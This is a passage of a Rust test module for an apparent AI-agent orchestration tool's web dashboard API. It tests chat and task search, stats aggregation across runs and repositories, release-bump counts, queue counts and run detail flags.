13179            ("chat", 1),
13180            ("queued", 1),
13181            ("short%20nothing", 0),
13182        ] {
13183            let v = f
13184                .get(&format!("/api/search?scope=tasks&q={q}"))
13185                .await
13186                .json();
13187            assert_eq!(v["total"], want, "{q}: {v}");
13188        }
13189        for bad in [
13190            "/api/search?scope=tasks&q=",
13191            "/api/search?scope=tasks&q=%20",
13192            "/api/search?scope=chats&q=",
13193            "/api/search?scope=chats&q=%20",
13194            "/api/search?scope=nope&q=a",
13195            "/api/search?q=a",
13196        ] {
13197            assert_eq!(f.get(bad).await.status, 400, "{bad}");
13198        }
13199    }
13200
13201    /// Write one conversation file the way the store reads it back.
13202    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13203        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13204            .expect("seat value");
13205        let turns: Vec<serde_json::Value> = turns
13206            .iter()
13207            .map(|(who, body)| {
13208                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13209            })
13210            .collect();
13211        let doc = serde_json::json!({
13212            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13213            "status": status, "turns": turns,
13214            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13215            "seat": seat,
13216        });
13217        let dir = f.home.path().join("talks");
13218        std::fs::create_dir_all(&dir).expect("talks dir");
13219        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13220    }
13221
13222    #[tokio::test]
13223    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13224        let f = Fixture::start().await;
13225        write_talk(
13226            &f,
13227            "20260901-000001-aaaa",
13228            "open",
13229            &[
13230                (
13231                    "operator",
13232                    "\n  Why does the Pangolin cache expire?\nsecond line",
13233                ),
13234                ("agent", "Because the TTL is thirty seconds."),
13235            ],
13236        );
13237        write_talk(
13238            &f,
13239            "20260901-000002-bbbb",
13240            "closed",
13241            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13242        );
13243        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13244
13245        let search = |q: &'static str| {
13246            let f = &f;
13247            async move {
13248                f.get(&format!("/api/search?scope=chats&q={q}"))
13249                    .await
13250                    .json()
13251            }
13252        };
13253
13254        let v = search("PANGOLIN").await;
13255        assert_eq!(v["scope"], "chats");
13256        assert_eq!(v["total"], 1, "{v}");
13257        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13258        assert_eq!(v["hits"][0]["field"], "title");
13259        assert_eq!(v["unreadable"], 1, "{v}");
13260        let marked: Vec<&str> = v["hits"][0]["snippet"]
13261            .as_array()
13262            .unwrap()
13263            .iter()
13264            .filter(|p| p["hit"] == true)
13265            .map(|p| p["text"].as_str().unwrap())
13266            .collect();
13267        assert_eq!(marked, ["Pangolin"]);
13268
13269        // An agent turn, in a closed conversation.
13270        let v = search("zebra").await;
13271        assert_eq!(v["total"], 1, "{v}");
13272        assert_eq!(v["hits"][0]["field"], "agent");
13273        // Words may sit in different turns; all must be present.
13274        assert_eq!(search("pangolin%20thirty").await["total"], 1);
13275        assert_eq!(search("pangolin%20zebra").await["total"], 0);
13276        // Bookkeeping is not searched.
13277        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13278            assert_eq!(search(q).await["total"], 0, "{q}");
13279        }
13280        // The first line only is the title; the second line is still a turn.
13281        assert_eq!(search("second").await["hits"][0]["field"], "operator");
13282        // Open conversations are listed before closed ones.
13283        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13284
13285        let v = f.get("/api/search?scope=nope&q=a").await;
13286        assert_eq!(v.status, 400);
13287        assert!(
13288            v.body.contains("scope must be runs, tasks or chats"),
13289            "{}",
13290            v.body
13291        );
13292    }
13293
13294    #[test]
13295    fn a_question_card_links_a_task_id_to_the_task_page() {
13296        let start = APP_JS
13297            .find("function updateAskCard(")
13298            .expect("updateAskCard exists");
13299        let body = &APP_JS[start..];
13300        let body = &body[..body.find("\n}\n").expect("function end")];
13301        assert!(body.contains("question.run_is_task"));
13302        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
13303        assert!(body.contains("`#/runs/${question.run}`"));
13304        assert!(body.contains("\"task\" : \"run\""));
13305    }
13306
13307    #[test]
13308    fn plain_text_message_surfaces_go_through_linkify() {
13309        assert!(APP_JS.contains("function linkify("));
13310        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
13311        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
13312        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
13313        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
13314        assert!(!APP_JS.contains("innerHTML = text"));
13315    }
13316
13317    #[test]
13318    fn implementation_rate_views_keep_independent_samples() {
13319        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
13320            let a = stats::AgentStats {
13321                competitive_entered: competitive_n,
13322                competitive_wins: usize::from(competitive_n > 0),
13323                solo_entered: solo_n,
13324                solo_adopted: 2 * usize::from(solo_n > 0),
13325                ..Default::default()
13326            };
13327            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
13328            for (key, n, numerator) in [
13329                ("competitive_win_rate", competitive_n, a.competitive_wins),
13330                ("solo_adoption_rate", solo_n, a.solo_adopted),
13331            ] {
13332                if n == 0 {
13333                    assert!(v[key].is_null());
13334                } else {
13335                    assert_eq!(v[key]["denominator"], n);
13336                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
13337                }
13338            }
13339        }
13340        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
13341        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
13342        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
13343        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13344    }
13345
13346    #[test]
13347    fn stats_bars_share_one_id_keyed_plan() {
13348        let start = APP_JS
13349            .find("function statsBarRows(")
13350            .expect("statsBarRows exists");
13351        let body = &APP_JS[start..];
13352        let body = &body[..body.find("\n}\n").expect("function end")];
13353        assert!(body.contains("statsBarPlan(rows)"));
13354        assert!(body.contains("statsAgentTone(row.agent)"));
13355        assert!(!body.contains("candTone(i)"));
13356        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13357        for root in [
13358            "stats-agents-bars",
13359            "stats-solo-bars",
13360            "stats-reviewers-bars",
13361        ] {
13362            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
13363        }
13364    }
13365
13366    #[test]
13367    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
13368        let start = APP_JS
13369            .find("function renderStatsReviewerScatter(")
13370            .expect("renderStatsReviewerScatter exists");
13371        let body = &APP_JS[start..];
13372        let body = &body[..body.find("\n}\n").expect("function end")];
13373        assert!(body.contains("statsScatterPlan(reviewers)"));
13374        assert!(body.contains("statsAgentTone(d.agent)"));
13375        assert!(APP_JS.contains("function statsScatterPlan("));
13376        assert!(
13377            APP_JS.contains("d.submitted < STATS_LOW_N")
13378                || APP_JS.contains("r.submitted < STATS_LOW_N")
13379        );
13380        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
13381        assert!(APP_CSS.contains(".precision-scatter"));
13382    }
13383
13384    #[test]
13385    fn advisor_reflection_is_drawn_as_stacked_segments() {
13386        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
13387        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
13388        let html = include_str!("../assets/ui/index.html");
13389        assert!(html.contains("Approximate"));
13390        for label in ["reflected strongly", "faint", "no proposal"] {
13391            assert!(html.contains(label));
13392        }
13393        let css = include_str!("../assets/ui/app.css");
13394        for c in ["refl-strong", "refl-faint", "refl-absent"] {
13395            assert!(css.contains(&format!(".{c} {{")));
13396        }
13397    }
13398
13399    #[test]
13400    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
13401        assert!(APP_JS.contains("function statsDailyPlan("));
13402        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
13403        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
13404    }
13405
13406    #[test]
13407    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
13408        let start = APP_JS
13409            .find("function scheduleSearch(")
13410            .expect("scheduleSearch exists");
13411        let body = &APP_JS[start..];
13412        let body = &body[..body.find("\n}\n").expect("function end")];
13413        assert!(body.contains("s.seq += 1"));
13414    }
13415
13416    /// The dashboard reads every run's state itself rather than trusting a
13417    /// separately-maintained count, so an unreadable run must be counted the
13418    /// same way `/api/health` counts it - never silently dropped the way the
13419    /// CLI's own `stats::load_all` drops it.
13420    #[tokio::test]
13421    async fn stats_runs_unreadable_matches_health() {
13422        let f = Fixture::start().await;
13423        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13424        let broken = f.runs().join("20260902-140502-bad");
13425        std::fs::create_dir_all(&broken).expect("run dir");
13426        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13427
13428        let stats = f.get("/api/stats").await;
13429        let health = f.get("/api/health").await;
13430
13431        assert_eq!(stats.status, 200);
13432        assert_eq!(stats.json()["totals"]["runs"], 1);
13433        assert_eq!(stats.json()["runs_unreadable"], 1);
13434        assert_eq!(
13435            stats.json()["runs_unreadable"],
13436            health.json()["runs_unreadable"],
13437            "the dashboard and /api/health must never disagree about how many \
13438             runs could not be read"
13439        );
13440    }
13441
13442    #[tokio::test]
13443    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
13444        let f = Fixture::start().await;
13445        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13446        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
13447        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
13448
13449        let totals = &f.get("/api/stats").await.json()["totals"];
13450        assert_eq!(totals["runs"], 3);
13451        assert_eq!(totals["merged"], 1);
13452        assert_eq!(totals["stalled"], 1);
13453        assert_eq!(totals["in_progress"], 1);
13454        // A stalled run must never read as blocked/merged/ready - it is its
13455        // own bucket, not folded into a "decided" one.
13456        assert_eq!(totals["blocked"], 0);
13457        assert_eq!(totals["ready"], 0);
13458    }
13459
13460    #[tokio::test]
13461    async fn stats_advisors_report_proposals_and_reflection() {
13462        use crate::advise::{Advice, AdvisorRecord, Reflection};
13463        use crate::verdict::Proposal;
13464
13465        let f = Fixture::start().await;
13466        let mut state = RunState::new(
13467            PathBuf::from("/repo/magi"),
13468            "main".to_owned(),
13469            "0123456789abcdef".to_owned(),
13470            "task".to_owned(),
13471            Config::default(),
13472        );
13473        state.id = "20260902-140501-a".to_owned();
13474        state.status = RunStatus::Merged;
13475        state.advice = Some(Advice {
13476            records: vec![
13477                AdvisorRecord {
13478                    seat: "advisor-1".to_owned(),
13479                    agent: "alpha".to_owned(),
13480                    proposal: Some(Proposal {
13481                        approach: "do it".to_owned(),
13482                        key_tradeoff: "speed over memory".to_owned(),
13483                        risks: Vec::new(),
13484                        touches: Vec::new(),
13485                        why_not_naive: "breaks under load".to_owned(),
13486                    }),
13487                    error: None,
13488                    duration_ms: 0,
13489                    reflection: Reflection::Strong,
13490                },
13491                AdvisorRecord {
13492                    seat: "advisor-2".to_owned(),
13493                    agent: "alpha".to_owned(),
13494                    proposal: None,
13495                    error: Some("timed out".to_owned()),
13496                    duration_ms: 0,
13497                    reflection: Reflection::Absent,
13498                },
13499            ],
13500            synthesis: Some("blended brief".to_owned()),
13501        });
13502        let dir = f.runs().join(&state.id);
13503        std::fs::create_dir_all(&dir).expect("run dir");
13504        std::fs::write(
13505            dir.join("run.json"),
13506            serde_json::to_string_pretty(&state).expect("serialize run"),
13507        )
13508        .expect("write run.json");
13509
13510        // `alpha` is in no roster here; this test is about the rates.
13511        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
13512        let alpha = advisors
13513            .as_array()
13514            .expect("an array")
13515            .iter()
13516            .find(|a| a["agent"] == "alpha")
13517            .expect("alpha row");
13518        assert_eq!(alpha["seated"], 2);
13519        assert_eq!(alpha["proposed"], 1);
13520        assert_eq!(alpha["absent"], 1);
13521        assert_eq!(alpha["strong"], 1);
13522        assert_eq!(alpha["faint"], 0);
13523        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
13524    }
13525
13526    #[tokio::test]
13527    async fn stats_hides_agents_outside_the_roster_unless_all() {
13528        use crate::run::Candidate;
13529        let repo = TempDir::new().expect("repo dir");
13530        std::fs::write(
13531            repo.path().join("magi.toml"),
13532            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
13533        )
13534        .expect("magi.toml");
13535        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
13536        let mut state = RunState::new(
13537            PathBuf::from("/repo/magi"),
13538            "main".to_owned(),
13539            "0123456789abcdef".to_owned(),
13540            "task".to_owned(),
13541            Config::default(),
13542        );
13543        state.id = "20260902-140501-a".to_owned();
13544        state.status = RunStatus::Merged;
13545        for (label, agent) in [('A', "keep"), ('B', "retired")] {
13546            let mut c: Candidate = serde_json::from_value(serde_json::json!({
13547                "index": 0, "label": label.to_string(), "agent": agent,
13548                "branch": "b", "worktree": "/w",
13549            }))
13550            .expect("candidate");
13551            c.label = label;
13552            state.candidates.push(c);
13553        }
13554        let dir = f.runs().join(&state.id);
13555        std::fs::create_dir_all(&dir).expect("run dir");
13556        std::fs::write(
13557            dir.join("run.json"),
13558            serde_json::to_string_pretty(&state).expect("serialize run"),
13559        )
13560        .expect("write run.json");
13561
13562        let agents_of = |v: &serde_json::Value| -> Vec<String> {
13563            v["agents"]
13564                .as_array()
13565                .expect("array")
13566                .iter()
13567                .map(|a| a["agent"].as_str().unwrap().to_owned())
13568                .collect()
13569        };
13570        let hidden = f.get("/api/stats").await.json();
13571        assert_eq!(agents_of(&hidden), ["keep"]);
13572        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
13573        assert_eq!(hidden["totals"]["runs"], 1);
13574
13575        let all = f.get("/api/stats?all=true").await.json();
13576        assert_eq!(agents_of(&all).len(), 2);
13577        assert_eq!(all["retired_hidden"], serde_json::json!([]));
13578        // Verify competitive and solo keys exist on agent entries
13579        let keep_agent = all["agents"]
13580            .as_array()
13581            .unwrap()
13582            .iter()
13583            .find(|a| a["agent"] == "keep")
13584            .unwrap();
13585        assert_eq!(keep_agent["competitive_entered"], 1);
13586        assert_eq!(keep_agent["competitive_wins"], 0);
13587        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
13588        assert_eq!(keep_agent["solo_entered"], 0);
13589        assert_eq!(keep_agent["solo_adopted"], 0);
13590        assert!(keep_agent["solo_adoption_rate"].is_null());
13591    }
13592
13593    #[tokio::test]
13594    async fn stats_release_bumps_split_clean_from_attention() {
13595        use crate::run::ReleaseBump;
13596
13597        let f = Fixture::start().await;
13598
13599        let mut clean = RunState::new(
13600            PathBuf::from("/repo/magi"),
13601            "main".to_owned(),
13602            "0123456789abcdef".to_owned(),
13603            "task".to_owned(),
13604            Config::default(),
13605        );
13606        clean.id = "20260902-140501-a".to_owned();
13607        clean.status = RunStatus::Merged;
13608        clean.release_bump = Some(ReleaseBump {
13609            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
13610            version: Some("1.0.0".to_owned()),
13611            automerge_enabled: true,
13612            merged_directly: false,
13613            local: false,
13614            release: None,
13615            problem: None,
13616            action_required: None,
13617        });
13618
13619        let mut blocked = RunState::new(
13620            PathBuf::from("/repo/magi"),
13621            "main".to_owned(),
13622            "0123456789abcdef".to_owned(),
13623            "task".to_owned(),
13624            Config::default(),
13625        );
13626        blocked.id = "20260902-140502-b".to_owned();
13627        blocked.status = RunStatus::Merged;
13628        blocked.release_bump = Some(ReleaseBump {
13629            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
13630            version: Some("1.0.1".to_owned()),
13631            automerge_enabled: false,
13632            merged_directly: false,
13633            local: false,
13634            release: None,
13635            problem: Some("checks red".to_owned()),
13636            action_required: Some("look at the PR".to_owned()),
13637        });
13638
13639        for state in [&clean, &blocked] {
13640            let dir = f.runs().join(&state.id);
13641            std::fs::create_dir_all(&dir).expect("run dir");
13642            std::fs::write(
13643                dir.join("run.json"),
13644                serde_json::to_string_pretty(state).expect("serialize run"),
13645            )
13646            .expect("write run.json");
13647        }
13648
13649        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13650        assert_eq!(bumps["merged"], 2);
13651        assert_eq!(bumps["recorded"], 2);
13652        assert_eq!(bumps["pr_opened"], 2);
13653        assert_eq!(bumps["automerge_enabled"], 1);
13654        assert_eq!(bumps["needs_attention"], 1);
13655        assert_eq!(bumps["clean"], 1);
13656        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
13657        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
13658    }
13659
13660    #[tokio::test]
13661    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
13662        let f = Fixture::start().await;
13663        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13664
13665        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13666        assert_eq!(bumps["merged"], 1);
13667        assert_eq!(bumps["recorded"], 0);
13668        // `merged` is nonzero, so coverage still reads as a real 0%, not an
13669        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
13670        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
13671        // `pr_opened` and `recorded` are both zero here, so these rates have
13672        // no denominator to compute from and must be null.
13673        assert_eq!(bumps["automerge_rate"], Value::Null);
13674        assert_eq!(bumps["attention_rate"], Value::Null);
13675    }
13676
13677    #[tokio::test]
13678    async fn stats_queue_counts_come_from_the_live_queue() {
13679        let f = Fixture::start().await;
13680        let q = f.queue();
13681        let mut queued = Task::new(
13682            "queued task".to_owned(),
13683            "do it".to_owned(),
13684            PathBuf::from("/repo"),
13685            Source::Human,
13686        );
13687        q.put(&mut queued).expect("put queued");
13688        let mut held = Task::new(
13689            "held task".to_owned(),
13690            "do it later".to_owned(),
13691            PathBuf::from("/repo"),
13692            Source::Human,
13693        );
13694        held.hold_machine(Some("out of attempts".to_owned()));
13695        q.put(&mut held).expect("put held");
13696
13697        let queue = f.get("/api/stats").await.json()["queue"].clone();
13698        assert_eq!(queue["queued"], 1);
13699        assert_eq!(queue["held"], 1);
13700        assert_eq!(queue["running"], 0);
13701        assert_eq!(queue["done"], 0);
13702        assert_eq!(queue["failed"], 0);
13703        assert_eq!(queue["blocked"], 0);
13704    }
13705
13706    #[tokio::test]
13707    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
13708        let f = Fixture::start().await;
13709        let stats = f.get("/api/stats").await;
13710        assert_eq!(stats.status, 200);
13711        assert_eq!(stats.json()["totals"]["runs"], 0);
13712        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
13713        assert_eq!(stats.json()["runs_unreadable"], 0);
13714        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
13715        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
13716        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
13717        assert_eq!(stats.json()["repo"], Value::Null);
13718    }
13719
13720    #[tokio::test]
13721    async fn stats_lists_every_repository_with_runs_recorded() {
13722        let f = Fixture::start().await;
13723        write_run_repo(
13724            &f.runs(),
13725            "20260902-140501-a",
13726            RunStatus::Merged,
13727            "/repos/a",
13728        );
13729        write_run_repo(
13730            &f.runs(),
13731            "20260902-140502-b",
13732            RunStatus::Merged,
13733            "/repos/a",
13734        );
13735        write_run_repo(
13736            &f.runs(),
13737            "20260902-140503-c",
13738            RunStatus::Blocked,
13739            "/repos/b",
13740        );
13741
13742        let stats = f.get("/api/stats").await;
13743        assert_eq!(stats.status, 200);
13744        // Unfiltered - the aggregate across both repositories.
13745        assert_eq!(stats.json()["totals"]["runs"], 3);
13746        assert_eq!(stats.json()["repo"], Value::Null);
13747
13748        let repos = stats.json()["repos"].clone();
13749        let repos = repos.as_array().unwrap();
13750        assert_eq!(repos.len(), 2);
13751        // Busiest (2 runs) first.
13752        assert_eq!(repos[0]["repo"], "/repos/a");
13753        assert_eq!(repos[0]["name"], "a");
13754        assert_eq!(repos[0]["runs"], 2);
13755        assert_eq!(repos[1]["repo"], "/repos/b");
13756        assert_eq!(repos[1]["runs"], 1);
13757    }
13758
13759    #[tokio::test]
13760    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
13761        let f = Fixture::start().await;
13762        write_run_repo(
13763            &f.runs(),
13764            "20260902-140501-a",
13765            RunStatus::Merged,
13766            "/repos/a",
13767        );
13768        write_run_repo(
13769            &f.runs(),
13770            "20260902-140502-b",
13771            RunStatus::Blocked,
13772            "/repos/b",
13773        );
13774
13775        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
13776        assert_eq!(stats.status, 200);
13777        assert_eq!(stats.json()["totals"]["runs"], 1);
13778        assert_eq!(stats.json()["totals"]["merged"], 1);
13779        assert_eq!(stats.json()["repo"], "/repos/a");
13780        // The repository list itself is unaffected by the filter - it is
13781        // what a client switches repositories from.
13782        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
13783        // runs_unreadable is a whole-workload count, never scoped to the
13784        // selected repository - see StatsView::runs_unreadable's own doc.
13785        assert_eq!(stats.json()["runs_unreadable"], 0);
13786    }
13787
13788    #[tokio::test]
13789    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
13790        let f = Fixture::start().await;
13791        write_run_repo(
13792            &f.runs(),
13793            "20260902-140501-a",
13794            RunStatus::Merged,
13795            "/repos/a",
13796        );
13797        write_run_repo(
13798            &f.runs(),
13799            "20260902-140502-b",
13800            RunStatus::Merged,
13801            "/repos/b",
13802        );
13803
13804        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
13805            let json = f.get(uri).await.json();
13806            let daily = json["daily"].as_array().expect("daily is an array");
13807            assert_eq!(daily.len(), 30);
13808            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
13809            let mut sorted = dates.clone();
13810            sorted.sort();
13811            assert_eq!(dates, sorted);
13812            for d in daily {
13813                assert_eq!(
13814                    d["merged"].as_u64().unwrap()
13815                        + d["ready"].as_u64().unwrap()
13816                        + d["other"].as_u64().unwrap(),
13817                    d["runs"].as_u64().unwrap()
13818                );
13819            }
13820            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
13821        }
13822    }
13823
13824    #[tokio::test]
13825    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
13826        let f = Fixture::start().await;
13827        write_run_repo(
13828            &f.runs(),
13829            "20260902-140501-a",
13830            RunStatus::Merged,
13831            "/repos/a",
13832        );
13833
13834        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
13835        assert_eq!(stats.status, 404);
13836    }
13837
13838    #[tokio::test]
13839    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
13840        let f = Fixture::start().await;
13841        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
13842
13843        let summary = f.get("/api/runs").await.json();
13844        let row = &summary[0];
13845        assert_eq!(row["short"], "a1b2");
13846        assert_eq!(row["status"], "ready");
13847        assert_eq!(row["done"], true);
13848        assert_eq!(row["title"], "Add a web UI");
13849        assert_eq!(row["repo_name"], "magi");
13850        assert_eq!(row["judges"], 3);
13851        assert_eq!(row["winner"], Value::Null);
13852        assert_eq!(row["reviews"], 0);
13853
13854        // The short id resolves, and the detail route is the state itself, not
13855        // a projection of it: the UI reads fields the summary does not carry.
13856        let detail = f.get("/api/runs/a1b2").await;
13857        assert_eq!(detail.status, 200);
13858        assert_eq!(detail.json()["base_branch"], "main");
13859        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
13860    }
13861
13862    /// `status: "ready"` alone cannot tell a run still headed for a landing
13863    /// (a PR closed without merging, say) apart from one `[merge] mode =
13864    /// "none"` left unmerged for good — the confusion the operator flagged
13865    /// after the CLI report already grew a `not landed — nothing to do by
13866    /// design` line for exactly this case (`report.rs`). Both the list route
13867    /// and the detail route must carry a flag the phone can key on instead of
13868    /// re-deriving it from `status` + `merge.mode` itself.
13869    #[tokio::test]
13870    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
13871        let f = Fixture::start().await;
13872
13873        let mut none_run = RunState::new(
13874            PathBuf::from("/repo/magi"),
13875            "main".to_owned(),
13876            "0123456789abcdef".to_owned(),
13877            "Add a web UI".to_owned(),
13878            Config::default(),
13879        );
13880        none_run.id = "20260902-140503-none".to_owned();
13881        none_run.status = RunStatus::Ready;
13882        none_run.merge = Some(crate::run::MergeOutcome {
13883            mode: crate::config::MergeMode::None,
13884            ok: true,
13885            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
13886            empty: false,
13887        });
13888        write_state(&f.runs(), &none_run);
13889
13890        let mut pr_run = RunState::new(
13891            PathBuf::from("/repo/magi"),
13892            "main".to_owned(),
13893            "0123456789abcdef".to_owned(),
13894            "Add a web UI".to_owned(),
13895            Config::default(),
13896        );
13897        pr_run.id = "20260902-140504-prcl".to_owned();
13898        pr_run.status = RunStatus::Ready;
13899        pr_run.merge = Some(crate::run::MergeOutcome {
13900            mode: crate::config::MergeMode::Pr,
13901            ok: false,
13902            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
13903            empty: false,
13904        });
13905        write_state(&f.runs(), &pr_run);
13906
13907        let summary = f.get("/api/runs").await.json();
13908        let rows: std::collections::HashMap<&str, &Value> = summary
13909            .as_array()
13910            .expect("an array")
13911            .iter()
13912            .map(|r| (r["id"].as_str().expect("an id"), r))
13913            .collect();
13914        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
13915        assert_eq!(
13916            rows[none_run.id.as_str()]["unmerged_by_design"],
13917            true,
13918            "a mode-none Ready must be flagged in the list"
13919        );
13920        assert_eq!(
13921            rows[pr_run.id.as_str()]["unmerged_by_design"],
13922            false,
13923            "a Ready reached by a closed pull request is a different case"
13924        );
13925
13926        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13927        assert_eq!(none_detail["status"], "ready");
13928        assert_eq!(none_detail["unmerged_by_design"], true);
13929
13930        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13931        assert_eq!(pr_detail["unmerged_by_design"], false);
13932    }
13933
13934    /// `RunState::active` is only ever cleared by whoever populated it, so the
13935    /// detail route also has to say whether a daemon is actually still
13936    /// driving this run right now — otherwise a seat from a killed process's
13937    /// last wave would read as live forever.
13938    #[tokio::test]
13939    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13940        let f = Fixture::start().await;
13941        // Matches `write_daemon`'s hard-coded `current.run`, so the second
13942        // half of this test can claim the daemon is working on it without a
13943        // second helper.
13944        let id = "20260902-140502-bbbb";
13945        let mut state = RunState::new(
13946            PathBuf::from("/repo/magi"),
13947            "main".to_owned(),
13948            "0123456789abcdef".to_owned(),
13949            "Add a web UI".to_owned(),
13950            Config::default(),
13951        );
13952        state.id = id.to_owned();
13953        state.status = RunStatus::Judging;
13954        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13955        let dir = f.runs().join(id);
13956        std::fs::create_dir_all(&dir).expect("run dir");
13957        std::fs::write(
13958            dir.join("run.json"),
13959            serde_json::to_string_pretty(&state).expect("serialize run"),
13960        )
13961        .expect("write run.json");
13962
13963        // No daemon.json at all, and no `driver_pid` recorded either (this
13964        // state was written directly, never through `execute()`): there is
13965        // nothing to confirm either way, so the route must say `"unknown"` —
13966        // never `"dead"`, which is exactly the false diagnosis a manual `magi
13967        // run` used to get from this route before `driver_pid` existed.
13968        let cold = f.get(&format!("/api/runs/{id}")).await.json();
13969        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
13970        assert_eq!(cold["live"], "unknown", "{cold}");
13971
13972        // A fresh heartbeat naming exactly this run: the same entry now reads
13973        // as confirmed, not merely recorded.
13974        write_daemon(f.home.path(), Timestamp::now());
13975        let warm = f.get(&format!("/api/runs/{id}")).await.json();
13976        assert_eq!(warm["live"], "live", "{warm}");
13977    }
13978
13979    /// Where a run came from is shown, and a run written before origins were
13980    /// recorded (schema 12, no `origin` key) stays readable and says so.
13981    #[tokio::test]
13982    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
13983        let f = Fixture::start().await;
13984        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
13985            let mut state = RunState::new(
13986                PathBuf::from("/repo/magi"),
13987                "main".to_owned(),
13988                "0123456789abcdef".to_owned(),
13989                "Add a web UI".to_owned(),
13990                Config::default(),
13991            );
13992            state.id = id.to_owned();
13993            state.origin = origin;
13994            let mut value = serde_json::to_value(&state).expect("serialize run");
13995            if let Some(schema) = schema {
13996                value["schema"] = serde_json::json!(schema);
13997                value.as_object_mut().unwrap().remove("origin");
13998            }
13999            let dir = f.runs().join(id);
14000            std::fs::create_dir_all(&dir).expect("run dir");
14001            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
14002        };
14003        write(
14004            "20260930-092817-ec34",
14005            Some(crate::run::Origin::from_agent_env(
14006                Some(("4a7b".to_owned(), "chat".to_owned())),
14007                None,
14008            )),
14009            None,
14010        );
14011        write("20260930-092817-0ld1", None, Some(12));
14012
14013        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
14014        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
14015        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
14016
14017        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
14018        assert_eq!(
14019            old["origin_label"], "origin unknown (started before origins were recorded)",
14020            "{old}"
14021        );
